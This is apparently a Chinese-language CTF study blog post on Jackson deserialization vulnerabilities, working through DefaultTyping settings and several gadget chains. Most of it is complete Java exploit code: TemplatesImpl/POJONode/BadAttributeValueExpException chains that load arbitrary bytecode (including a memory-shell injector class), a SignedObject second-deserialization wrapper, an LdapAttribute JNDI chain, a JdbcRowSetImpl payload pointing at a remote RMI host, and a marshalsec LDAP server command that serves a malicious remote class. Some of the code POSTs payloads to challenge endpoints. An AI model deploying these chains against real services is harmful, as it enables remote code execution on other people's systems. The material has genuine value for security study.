Jackson
Jackson
前言:
自从在一次比赛之后看了Boogipop大佬的wp后,了解到了Jackson,现在心心念念的Jackson终于要开始啦
序列化与反序列化
ObjectMapper.writeValueAsString() 序列化
ObjectMapper.readValue() 反序列化
多态问题
DefaultTyping
- JAVA_LANG_OBJECT
- OBJECT_AND_NON_CONCRETE
- NON_CONCRETE_AND_ARRAYS
- NON_FINAL
JAVA_LANG_OBJECT
类里的属性被声明为一个Object类型时,会对该Object类型的属性进行序列化和反序列化,并且明确规定类名
User user = new User("Sentiment","123456",new User2());
ObjectMapper mapper = new ObjectMapper();
//JAVA_LANG_OBJECT
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
OBJECT_AND_NON_CONCRETE
默认选项。除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化。
NON_CONCRETE_AND_ARRAYS
除了前面提到的特征外,还支持Array类型。
DefaultTyping类型 | 描述说明 |
---|---|
JAVA_LANG_OBJECT | 属性的类型为Object |
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass |
NON_CONCRETE_AND_ARRAYS | 属性的类型为Object、Interface、AbstractClass、Array |
NON_FINAL | 所有除了声明为final之外的属性 |
JsonTypeInfo注解
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
JsonTypeInfo.Id.CLASS @class
public class User {
private String username;
private String password;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
private Object object;
{"username":"Sentiment","password":"123456","object":{"@class":"Jackson.User2","name":"Tana"}}
//结果
User{username='Sentiment', password='123456', object=User2{name='Tana', object=null}}
@class方式能指定相关类,并进行相关调用。
JsonTypeInfo.Id.MINIMAL_CLASS @c
{"username":"Sentiment","password":"123456","object":{"@c":"jackson.User2","name":"Tana"}}
//结果
User{username='Sentiment', password='123456', object=User2{name='Tana', object=null}}
JsonTypeInfo.Id.NAME
类似于fastjson,加上了@type字段,指明了类名,但是并没有指明包名,因此反序列化时抛出异常,所以此种方式不能进行反序列化
{"username":"Sentiment","password":"123456","object":{"@type":"User2","name":"Tana"}}
Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Could not resolve.......
JsonTypeInfo.Id.CUSTOM
直接抛出异常,需要用户自定义来使用
调用过程
反序列化会调用构造函数和setter
序列化会调用getter
与fastjson差不多
Jackson反序列化
前提条件
满足下面三个条件之一即存在Jackson反序列化漏洞:
- 调用了ObjectMapper.enableDefaultTyping()函数;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
- 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
使用DefaultTyping() 记得是数组
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
如果没有开JAVA_LANG_OBJECT
,Test类在做反序列化的时候,只是做了赋值,并没有进行实例化,除了设置NON_FINAL
以外都可以
序列化的结果是有数组的,修改包名和类名就行
{"username":"zero","password":"123","object":["jackson.User2",{"name":"tana"}]}
payload: (【】中第一个是指定的类,{}中是赋值)
["com.sun.rowset.JdbcRowSetImpl", {"dataSourceName":"rmi://vps/Exp", "autoCommit":true}]
public class Student {
public String name;
public String sex;
public Object myObject;
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
Student s2 = mapper.readValue("{\"name\":\"5wimming\",\"sex\":\"boy\",\"myObject\":[\"jacksonn.Test\",{\"testt\":\"test\"}]}", Student.class);
//myobject被object修饰
反序列化链
Reference
深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com)
Jackson反序列化通杀Web题(过时) - Boogiepop Doesn’t Laugh (boogipop.com)
POJONode (实际调用的是 BaseJsonNode)
POJONode中不存在有toString
方法的实现,在其父类BaseJsonNode
中存在有,因其为一个抽象类,所以选择使用POJONode
这个没有实现toString
方法的类进行利用
toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString
方法
最关键的就是最后一个方法的调用了,将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString
方法,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
Other Gadgets 绕过技巧
按照理论来说只需要寻找到继承BaseJsonNode
的类,并且没有重写toSting
方法,就能够替代POJONode
类
通杀 (不知道为什么叫通杀,就是调用toString而已)
package jackson;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLOutput;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
// Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
// val.setAccessible(true);
// val.set(exp,jsonNodes);
setValue(exp,"val",jsonNodes);
deserial((serial(exp)));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
和fastjson差不多,用的是POJONode
jackson最关键的是这里 !!!!
POJONode
是继承ValueNode
的 ValueNode
是继承BaseJsonNode
的
而在BaseJsonNode
中存在
Object writeReplace() {
return NodeSerialization.from(this);
}
意味着 我们在反序列化的时候 会经过这个writeReplace方法 这个方法会对我们的序列化过程进行检查 从而阻止我们的序列化进程,我们需要将其重写出来 将这个方法去掉
按照图示本地生成,复制粘贴BaseJsonNode的内容,然后在本地的文件中删除下面这一部分
Object writeReplace() {
return NodeSerialization.from(this);
}
流程分析
这是本地的BaseJsonNode
之后一直调试,一直到serializeAsField
二次反序列化
package jackson;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
Templates templatesimpl = new TemplatesImpl();
// byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
setValue(exp,"val",jsonNodes);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
POJONode jsonNode = new POJONode(signedObject);
BadAttributeValueExpException exp1 = new BadAttributeValueExpException(null);
setValue(exp1,"val",jsonNode);
System.out.println((serial(exp1)));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
// URI url = new URI("http://neepusec.fun:27010/nomap");
URI url = new URI("http://192.168.113.134:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
}
AliyunCTF bypassit1
package jackson;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
Templates templatesimpl = new TemplatesImpl();
// byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
setValue(exp,"val",jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
// deserial(serial(objectOutputStream));
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
byte[] byt=new byte[fileInputStream.available()];
fileInputStream.read(byt);
doPOST(byt);
// System.out.println((serial(exp)));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
// URI url = new URI("http://neepusec.fun:27010/nomap");
URI url = new URI("http://192.168.113.134:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
}
NewStarCTF 2022 Rome
很明显是打Rome链子,但我们就打jackson
package jackson;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.ObjectMapper.DefaultTyping;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.sql.SQLOutput;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
Templates templatesimpl = new TemplatesImpl();
// byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\jackson\\InjectToController.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
POJONode jsonNodes = new POJONode(templatesimpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(1);
setValue(exp,"val",jsonNodes);
System.out.println((serial(exp)));
}
public static String serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
// URI url = new URI("http://neepusec.fun:27010/nomap");
URI url = new URI("http://192.168.113.134:8080/bypassit");
//URI url = new URI("http://localhost:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
}
生成结果拿去URL编码后POST就行了
LdapAttribute链
Real-World-CTF 2021
主角就是com.sun.jndi.ldap.LdapAttribute
原题中作者是实战java1.4的古老版本挖掘的链子,但这个类java8也有,所以可以用
看的是Boogipop的文章Jackson反序列化通杀Web题(过时) - Boogiepop Doesn’t Laugh (boogipop.com)
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.management.JMX;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;
/**
* Hello world!
*
*/
public class LdapAttributeChain
{
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1099/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
流程分析
前面一样,invoke之后开始
有两个get方法,我们使用下面这个
这里能够jndi注入,出题人就是这里发现能够利用
getUsingURL方法中会获取DN,但是获取的格式为cn=,dn=
,假如我们加了后缀,我们后台收到的数据是:
他默认会加一个a呢,这个是payload里a//b
决定的,具体的是a//b , rename xx 'a'
调试的时候大概看到这个东西
所以我们需要换个工具,如marshall,创建一个类名为a的恶意类,然后按照要求放置即可~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:8000/#a 1099
然后就能RCE
jacksn链子不稳定问题
关于java反序列化中jackson链子不稳定问题 (pankas.top)
虽然我暂时没遇到过报错,但还是多了解一下
有时会遇到这样的报错
com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
根本原因
props
数组中每个值是BeanPropertyWriter
类型对象,之后循环调用其中的serializeAsField
方法来执行对应方法。而另一边通过分析,props
是通过反射 getDeclaredMethods
方法获取到的 ,因此props
数组顺序是不确定的
并且当第一次出错后,后面就不会成功,这是因为jackson这个 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer(java.lang.Class<?>, boolean, com.fasterxml.jackson.databind.BeanProperty)
中获取序列化器有缓存机制
流程分析
找清楚这个props
数组的顺序,一路追踪这个变量,发现其根源是在 com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#collectAll
中调用 _addMethods(props)
方法来获取相关 getter 方法,之后将其添加到 prpos
属性中。
解决方法
分析
org.springframework.aop.framework.JdkDynamicAopProxy
来解决jackson链子的随机性问题
动态代理是十分强大的,被代理对象所能调用的方法取决与我们所给的接口,其功能取决与我们所给的 handler。当我们用java的反射 getDeclaredMethods
方法去获取其所有方法时也是根据我们提供的接口去获取的
demo
package jackson;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Proxy_test {
public static void main(String[] args) {
Object o = Proxy.newProxyInstance(ProxyTest.class.getClassLoader(), new Class[]{test1.class, test2.class}, new MyHandler());
for(Method m: o.getClass().getDeclaredMethods()){
System.out.println(m.getName());
}
}
}
interface test1{
public void say456();
}
interface test2{
public void test123();
}
class ProxyTest {
public void eat(){
System.out.println("eat noting");
}
public void test(){
System.out.println("nonono");
}
public String getName(String a){
return a;
}
}
class MyHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke dynamic proxy handler");
return null;
}
}
所以主要就是看所给的接口和handler就可以了。
javax.xml.transform.Templates
接口其只有 newTransformer
和 getOutputProperties
这个两个方法,让他作为我们代理所需的接口,这样最终通过 getDeclaredMethods
获取到的方法就只有 newTransformer
和 getOutputProperties
了,那么最终获得的getter方法便只有 getOutputProperties
了。
关于这个Templates
接口,Boogipop大佬提到TemplatesImpl templatesimpl = new TemplatesImpl();
最好换成Templates templatesimpl = new TemplatesImpl();
能避免一些错误
这里的 target 获取到的对象由上面所说的 advised
属性得到,我们将所需的 TemplatesImpl
的对象用 org.springframework.aop.framework.AdvisedSupport
封装即可
结果
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
package jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
public class avoid_error {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", null);
//利用 JdkDynamicAopProxy 进行封装使其稳定触发
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
POJONode jsonNodes = new POJONode(proxyObj);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static String serial(Object data) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(data);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
return res;
}
}
题目中出到的有关jackson的一些东西
JacksonInject
@JsonCreator
public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
this.Base64Code = Base64Code;
this.IfInput = IfInput;
}
@JsonCreator
加在构造函数上面用于反序列化
@JsonProperty
指定Json数据中该属性的键名
//上面这个例子为例,即使变量名不叫Base64Code,序列化后该值的键名一定是Base64Code
@JacksonInject
有该注解的属性它的值不能从Json中获取
这与Jackson的处理逻辑相关
误解注解产生的漏洞 - kuron3k0的博客 | kuron3k0’s Blog
调用readValue后,进入到_deserializeUsingPropertyBased函数,这里循环处理我们的键值对,当前正在处理空键值,propName为空
根据propName会去_propertyLookup中取出对应的creator property,从名字也能看出来,这个就是我们之前的注解生成的,username和password都有对应同名字的键名,但是标注了@JacksonInject键名为空
随后调用_deserializeWithErrorWrapping反序列化得到对应的值,并赋值给buffer中的_creatorParameters
当处理完所有键值对后,取出_creatorParameters调用User的构造函数
调试可以发现,IfInput对应的键名为空,所以获取的是""
的值
给出答案,让IfInput的键名为空 即可给IfInput赋值
{"":true,"base64Code":"AAAAAAAA"}
当然这种 trick 也只适用于 creator 中只有一个 @JacksonInject
注解的,如果有多个注解,那么 ""
的索引位置只会是一个,一样会走到 _findMissing